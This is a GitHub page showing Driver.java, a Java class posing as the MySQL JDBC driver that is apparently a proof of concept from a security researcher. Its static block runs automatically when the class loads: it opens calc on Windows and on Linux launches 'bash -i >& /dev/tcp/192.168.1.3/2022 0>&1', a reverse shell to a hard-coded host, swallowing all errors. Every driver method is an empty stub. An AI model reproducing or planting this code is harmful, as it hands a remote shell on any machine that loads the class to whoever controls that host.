-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathDriver.java
63 lines (50 loc) · 1.41 KB
/
Driver.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//@ Author: Bearcat of www.numencyber.com
package com.mysql.jdbc;
import java.sql.*;
import java.util.*;
import java.util.logging.Logger;
public class Driver implements java.sql.Driver {
static {
String winCmd = "calc";
String linuxCmd = "bash -i >& /dev/tcp/192.168.1.3/2022 0>&1";
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", winCmd};
} else {
cmds = new String[]{"/bin/bash", "-c", linuxCmd};
}
try {
Runtime.getRuntime().exec(cmds);
} catch (Exception ignored) {
// do nothing...
}
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}
@Override
public boolean acceptsURL(String url) throws SQLException {
return false;
}
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() {
return 0;
}
@Override
public int getMinorVersion() {
return 0;
}
@Override
public boolean jdbcCompliant() {
return false;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}